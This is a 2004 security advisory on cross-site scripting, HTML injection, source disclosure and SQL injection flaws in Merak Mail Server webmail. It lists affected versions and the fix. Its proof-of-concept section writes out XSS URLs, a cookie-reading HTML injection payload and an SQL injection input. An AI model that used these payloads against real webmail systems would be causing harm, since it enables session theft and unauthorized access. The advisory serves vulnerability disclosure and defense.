Merak Mail Server Webmail Multiple Vulnerabilities

BID:10966

Info

Merak Mail Server Webmail Multiple Vulnerabilities

Bugtraq ID: 10966
Class: Design Error
CVE: CVE-2004-1719
CVE-2004-1720
CVE-2004-1721
CVE-2004-1722
Remote: Yes
Local: No
Published: Aug 17 2004 12:00AM
Updated: Jul 12 2009 06:16AM
Credit: Criolabs <[email protected]> disclosed these vulnerabilities.
Vulnerable: Merak Webmail Server 5.2.7
Merak Mail Server 7.4.5
Not Vulnerable: Merak Mail Server 7.5.2

Discussion

Merak Mail Server Webmail Multiple Vulnerabilities

The webmail package embedded in Merak Mail Server is reported prone to multiple vulnerabilities.

The vulnerabilities reported are:
- Multiple cross-site scripting vulnerabilities
- An HTML injection vulnerability
- A PHP source code disclosure vulnerability
- An SQL injection vulnerability

These vulnerabilities are reported to exist in versions prior to 7.5.2.

Exploit / POC

Merak Mail Server Webmail Multiple Vulnerabilities

An exploit is not required. Examples were provided:

Cross-site scripting examples:
/address.html?id=[id]&amp;sort=name&amp;selectsort=&amp;global=&amp;showgroups=&amp;showlite=&amp;category="&gt;&lt;script&gt;alert()&lt;/script&gt;&amp;cserver=&amp;ext=
/address.html?id=[id]&amp;sort=name&amp;selectsort=&amp;global=&amp;showgroups=&amp;showlite=&amp;category=&amp;cserver="&gt;[XSS]&amp;ext=
/address.html?id=[id]&amp;sort=name&amp;selectsort=&amp;global=&amp;showgroups=&amp;showlite=&amp;category=&amp;cserver=&amp;ext="&gt;[XSS]
/address.html?id=[id]&amp;sort=&amp;selectsort=&amp;global="&gt;[XSS]&amp;showgroups=&amp;showlite=&amp;category=&amp;cserver=&amp;ext=
/address.html?id=[id]&amp;sort=&amp;selectsort=&amp;global=&amp;showgroups="&gt;[XSS]&amp;showlite=&amp;category=&amp;cserver=&amp;ext=
/address.html?id=[id]&amp;sort=&amp;selectsort=&amp;global=&amp;showgroups=&amp;showlite="&gt;[XSS]&amp;category=&amp;cserver=&amp;ext=
/settings.html?autoresponder=1&amp;id=[id]&amp;spage="&gt;[XSS]
/settings.html?autoresponder="&gt;[XSS]&amp;id=[id]&amp;spage=0
/readmail.html?id=[id]&amp;folder="&gt;[XSS]
/attachment.html?attachmentpage_text_error="&gt;[XSS]
/calendar.html?id=1&amp;schedule=admin%40merakdemo.com&amp;cv=n&amp;folder=&lt;script&gt;alert()&lt;/script&gt;
/calendar.html?id=1&amp;schedule=koko%40merakdemo.com&amp;sf=addevent&amp;cv=d&amp;ct="&gt;[XSS]
/calendar.html?id=[id]&amp;cv="&gt;[XSS]&amp;ct=[ct]&amp;sf=addevent&amp;ESdhour=8

HTML injection example, email body contents:
&lt;IMG alt="" hspace=0 src="javascript:alert(document.cookie)" align=baseline border=0&gt;&lt;IFRAME src="http://www.google.com"&gt;&lt;/body&gt; &lt;/html&gt; &lt;/IFRAME&gt;

SQL injection example:
/calendar.html?id=1'&amp;schedule=[SQL]

Solution / Fix

Merak Mail Server Webmail Multiple Vulnerabilities

Solution:
The vendor has released version 7.5.2 of Merak Mail Server. This includes an updated version of Merak Webmail Server that reportedly fixes these vulnerabilities.


Merak Mail Server 7.4.5

References

Merak Mail Server Webmail Multiple Vulnerabilities

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